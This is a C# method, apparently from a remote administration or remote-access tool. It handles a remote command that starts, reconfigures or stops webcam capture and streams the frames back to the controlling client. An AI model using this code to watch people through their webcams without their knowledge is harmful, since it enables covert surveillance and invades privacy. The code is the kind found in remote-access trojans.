private void Execute(ISender client, GetWebcam message) { if (message.Destroy) { _webcamHelper.StopRunningVideo(); OnReport("Remote webcam session stopped"); return; } _webcamHelper.Init(message.DisplayIndex); var resolution = new Resolution { Height = _webcamHelper._resolution.Height, Width = _webcamHelper._resolution.Width }; if (_streamCodec == null) { _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } if (message.CreateNew) { _streamCodec?.Dispose(); _webcamHelper.NewVideoSource(message.DisplayIndex); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); OnReport("Remote webcam session started"); } if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) { _streamCodec?.Dispose(); _webcamHelper.NewVideoSource(message.DisplayIndex); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } if (_webcamHelper._currentFrame == null) { Bitmap emptyFrame = new Bitmap(1920, 1080, PixelFormat.Format32bppPArgb); SendFrame(client, emptyFrame, resolution); } else { Bitmap webcamFrame = new Bitmap(_webcamHelper._currentFrame); SendFrame(client, webcamFrame, resolution); } }